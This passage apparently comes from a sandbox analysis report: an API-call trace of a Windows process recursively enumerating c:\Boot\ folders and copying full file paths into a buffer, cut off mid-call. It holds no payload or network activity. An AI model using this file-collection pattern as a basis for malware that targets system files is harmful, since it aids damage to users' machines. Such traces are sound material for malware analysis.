(lpString1="chs_boot.ttf", lpString2="..") returned 1 [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.512] lstrlenW (lpString="chs_boot.ttf") returned 12 [0041.512] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0041.512] lstrcpyW (in: lpString1=0x5f2ca0, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0041.512] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.512] lstrlenW (lpString="cht_boot.ttf") returned 12 [0041.512] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0041.512] lstrcpyW (in: lpString1=0x5f2ce0, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0041.512] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.512] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0041.512] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0041.512] lstrcpyW (in: lpString1=0x5f2d20, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0041.512] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.512] lstrlenW (lpString="kor_boot.ttf") returned 12 [0041.512] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0041.512] lstrcpyW (in: lpString1=0x5f2d60, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0041.512] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0041.513] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.513] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0041.513] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0041.513] lstrlenW (lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0041.513] lstrcpyW (in: lpString1=0x5f2da0, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0041.513] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.513] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.513] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.513] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0041.513] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0041.513] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.513] lstrlenW (lpString="fr-FR") returned 5 [0041.513] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0041.513] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0041.513] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0041.513] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0041.513] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.513] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.513] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.513] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.513] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0041.513] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.513] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0041.513] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0041.513] lstrcpyW (in: lpString1=0x5f2de0, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0041.513] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.513] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.514] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.514] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0041.514] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0041.514] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.514] lstrlenW (lpString="hu-HU") returned 5 [0041.514] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0041.514] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0041.514] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0041.514] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0041.514] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.514] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.514] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.514] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0041.514] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.514] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0041.514] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0041.514] lstrcpyW (in: lpString1=0x5f2e28, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0041.514] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.514] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.514] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.514] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0041.514] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0041.516] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.516] lstrlenW (lpString="it-IT") returned 5 [0041.516] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0041.516] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0041.516] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0041.516] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0041.516] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.516] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.516] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.516] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0041.516] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.516] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0041.516] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.516] lstrcpyW (in: lpString1=0x5f2e70, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0041.516] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.516] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.516] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.516] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0041.516] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0041.516] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.516] lstrlenW (lpString="ja-JP") returned 5 [0041.517] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0041.517] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0041.517] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0041.517] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0041.517] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.517] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.517] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.517] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0041.517] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.517] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0041.517] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.517] lstrcpyW (in: lpString1=0x5f2eb8, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0041.517] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.517] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.517] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.517] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0041.517] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0041.517] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.517] lstrlenW (lpString="ko-KR") returned 5 [0041.517] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0041.517] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0041.517] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0041.517] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0041.517] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.517] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.517] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.517] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.517] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0041.518] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.518] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0041.518] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.518] lstrcpyW (in: lpString1=0x5f2f00, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0041.518] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.518] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.518] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.518] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0041.518] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0041.518] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.518] lstrlenW (lpString="memtest.exe") returned 11 [0041.518] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0041.518] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0041.518] lstrcpyW (in: lpString1=0x5f2f48, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0041.518] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.518] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0041.518] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0041.518] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.518] lstrlenW (lpString="nb-NO") returned 5 [0041.518] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0041.518] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0041.518] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0041.518] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0041.518] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.518] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.518] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.518] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0041.518] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.518] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0041.518] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.518] lstrcpyW (in: lpString1=0x5f2f78, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0041.518] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.518] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.519] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.519] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0041.519] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0041.519] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.519] lstrlenW (lpString="nl-NL") returned 5 [0041.519] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0041.519] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0041.519] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0041.519] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0041.519] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.519] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.519] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.519] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.519] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.519] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0041.519] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.519] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0041.519] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0041.519] lstrcpyW (in: lpString1=0x5f2fc0, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0041.519] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.519] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.519] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.519] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0041.519] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0041.519] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.519] lstrlenW (lpString="pl-PL") returned 5 [0041.519] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0041.519] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0041.519] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0041.519] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0041.519] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.520] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.520] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.520] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0041.520] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.520] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0041.520] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0041.520] lstrcpyW (in: lpString1=0x5f3008, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0041.520] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.520] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.520] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.520] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0041.520] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0041.520] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.520] lstrlenW (lpString="pt-BR") returned 5 [0041.520] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0041.520] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0041.520] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0041.520] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0041.520] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.520] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.520] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 